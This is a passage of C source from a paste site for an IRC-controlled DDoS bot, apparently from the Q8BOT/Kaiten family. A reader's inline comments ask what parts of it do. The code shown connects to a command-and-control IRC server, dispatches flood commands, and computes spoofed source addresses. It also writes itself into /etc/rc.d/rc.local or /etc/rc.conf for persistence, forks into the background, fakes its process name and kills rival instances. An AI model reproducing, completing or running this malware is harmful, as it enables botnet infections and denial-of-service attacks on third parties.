  727.                 for (m=0; flooders[m].cmd != (char *)0; m++) {
  728.                         if (!strcasecmp(flooders[m].cmd,name)) {
  729.                                 flooders[m].func(sock,sender,num_params-1,params);
  730.                                 for (i=1;i<num_params;i++) free(params[i]);
  731.                                 return;
  732.                         }
  733.                 }
  734.         }
  735. }
  736. void _376(int sock, char *sender, char *str) {
  737.         Send(sock,"MODE %s -xi\n",nick);
  738.         Send(sock,"JOIN %s :%s\n",chan,key);
  739.         Send(sock,"WHO %s\n",nick);
  740. }
  741. void _PING(int sock, char *sender, char *str) {
  742.         Send(sock,"PONG %s\n",str);
  743. }
  744. void _352(int sock, char *sender, char *str) {
  745.         int i,d;
  746.         char *msg=str;
  747.         struct hostent *hostm;
  748.         unsigned long m;
  749.         for (i=0,d=0;d<5;d++) {
  750.                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  751.                 if (i == strlen(str)) return;
  752.         }
  753.         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  754.         msg[i]=0;
  755.         if (!strcasecmp(msg,nick) && !spoofsm) {
  756.                 msg=str;
  757.                 for (i=0,d=0;d<3;d++) {
  758.                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  759.                         if (i == strlen(str)) return;
  760.                 }
  761.                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  762.                 msg[i]=0;
  763.                 if ((m = inet_addr(msg)) == -1) {
  764.                         if ((hostm=gethostbyname(msg)) == NULL) {
  765.                                 Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  766.                                 return;
  767.                         }
  768.                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  769.                 }
  770.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  771.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  772.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  773.                 ((char*)&spoofs)[0]=0;
  774.                 spoofsm=256;
  775.         }
  776. }
  777. void _433(int sock, char *sender, char *str) {
  778.         free(nick);
  779.         nick=makestring();
  780. }
  781. void _NICK(int sock, char *sender, char *str) {
  782.     int i;
  783.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  784.         sender[i]=0;
  785.     if (!strcasecmp(sender,nick)) {
  786.         if (*str == ':') str++;
  787.         if (nick) free(nick);
  788.         nick=strdup(str);
  789.     }
  790. }
  791.  
  792. // why are the functions called that way? what do _352, _376, etc stand for?
  793. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  794.         { "352", _352 },
  795.         { "376", _376 },
  796.         { "433", _433 },
  797.         { "422", _376 },
  798.         { "PRIVMSG", _PRIVMSG },
  799.         { "PING", _PING },
  800.     { "NICK", _NICK },
  801. { (char *)0, (void (*)(int,char *,char *))0 } };
  802.  
  803. // connects to a command and control server for 10 seconds... I guess
  804. void con() {
  805.         struct sockaddr_in srv;
  806.         unsigned long ipaddr,start;
  807.         int flag;
  808.         struct hostent *hp;
  809. start:
  810.     sock=-1;
  811.     flag=1;
  812.     if (changeservers == 0) server=servers[rand()%numservers];
  813.     changeservers=0;
  814.         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  815.     if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  816.         if ((hp = gethostbyname(server)) == NULL) {
  817.             server=NULL;
  818.             close(sock);
  819.             goto start;
  820.         }
  821.         bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  822.     }
  823.     else srv.sin_addr.s_addr=inet_addr(server);
  824.         srv.sin_family = AF_INET;
  825.         srv.sin_port = htons(6667);
  826.     ioctl(sock,FIONBIO,&flag);
  827.     start=time(NULL);
  828.     while(time(NULL)-start < 10) { // 10 seconds specified here...
  829.         errno=0;
  830.         if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  831.                 setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  832.                 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  833.                 setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  834.             return;
  835.         }
  836.         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  837.         sleep(1);
  838.     }
  839.     server=NULL;
  840.     close(sock);
  841.     goto start;
  842. }
  843. int main(int argc, char **argv) {
  844.         int on,i;
  845.         char cwd[256],*str;
  846.         FILE *file;
  847. #ifdef STARTUP
  848.     str="/etc/rc.d/rc.local";
  849.     file=fopen(str,"r");
  850.     if (file == NULL) {
  851.         str="/etc/rc.conf";
  852.         file=fopen(str,"r");
  853.     }
  854.         if (file != NULL) {
  855.                 char outfile[256], buf[1024];
  856.                 int i=strlen(argv[0]), d=0;
  857.                 getcwd(cwd,256);
  858.                 if (strcmp(cwd,"/")) {
  859.                         while(argv[0][i] != '/') i--;
  860.                         sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  861.                         while(!feof(file)) {
  862.                                 fgets(buf,1024,file);
  863.                                 if (!strcasecmp(buf,outfile)) d++;
  864.                         }
  865.                         if (d == 0) {
  866.                                 FILE *out;
  867.                                 fclose(file);
  868.                                 out=fopen(str,"a");
  869.                                 if (out != NULL) {
  870.                                         fputs(outfile,out);
  871.                                         fclose(out);
  872.                                 }
  873.                         }
  874.                         else fclose(file);
  875.                 }
  876.                 else fclose(file);
  877.         }
  878. #endif
  879.         if (fork()) exit(0);
  880. #ifdef FAKENAME
  881.     strncpy(argv[0],FAKENAME,strlen(argv[0]));
  882.         for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  883. #endif
  884.         srand((time(NULL) ^ getpid()) + getppid());
  885.         nick=makestring();
  886.         ident=makestring();
  887.         user=makestring();
  888.         chan=CHAN;
  889.     key=KEY;
  890.     server=NULL;
  891. sa:
  892. // it kills all the other instances of Q8BOT?
  893. #ifdef IDENT
  894.         for (i=0;i<numpids;i++) {
  895.                 if (pids[i] != 0 && pids[i] != getpid()) {
  896.                         kill(pids[i],9);
  897.             waitpid(pids[i],NULL,WNOHANG);
  898.                 }
  899.         }
  900.     pids=NULL;
  901.     numpids=0;
  902.     identd();
  903. #endif
  904.     con();
  905.         Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  906.         while(1) {
  907.                 unsigned long i;
  908.                 fd_set n;
  909.                 struct timeval tv;
  910.                 FD_ZERO(&n);
  911.                 FD_SET(sock,&n);
  912.                 tv.tv_sec=60*20;
  913.                 tv.tv_usec=0;
  914.                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  915.                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  916.                         unsigned int *newpids,on;
  917.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  918.             pids[on-1]=0;
  919.                         numpids--;
  920.                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  921.                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
  922.                         free(pids);
  923.                         pids=newpids;
  924.                 }
  925.                 if (FD_ISSET(sock,&n)) {
  926.                         char buf[4096], *str;
  927.                         int i;
  928.                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  929.                         buf[i]=0;
  930.                         str=strtok(buf,"\n");
  931.                         while(str && *str) {
  932.                                 char name[1024], sender[1024];
  933.                                 filter(str);
  934.                                 if (*str == ':') {
  935.                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  936.                                         str[i]=0;
  937.                                         strcpy(sender,str+1);
  938.                                         strcpy(str,str+i+1);
  939.                                 }
  940.                                 else strcpy(sender,"*");
  941.                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
  942.                                 str[i]=0;
  943.                                 strcpy(name,str);
  944.                                 strcpy(str,str+i+1);
  945.                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  946.                                 if (!strcasecmp(name,"ERROR")) goto sa;
  947.                                 str=strtok((char*)NULL,"\n");
  948.                         }
  949.                 }
  950.         }
  951.         return 0;
  952. }
Advertisement
RAW Paste Data Copied
Advertisement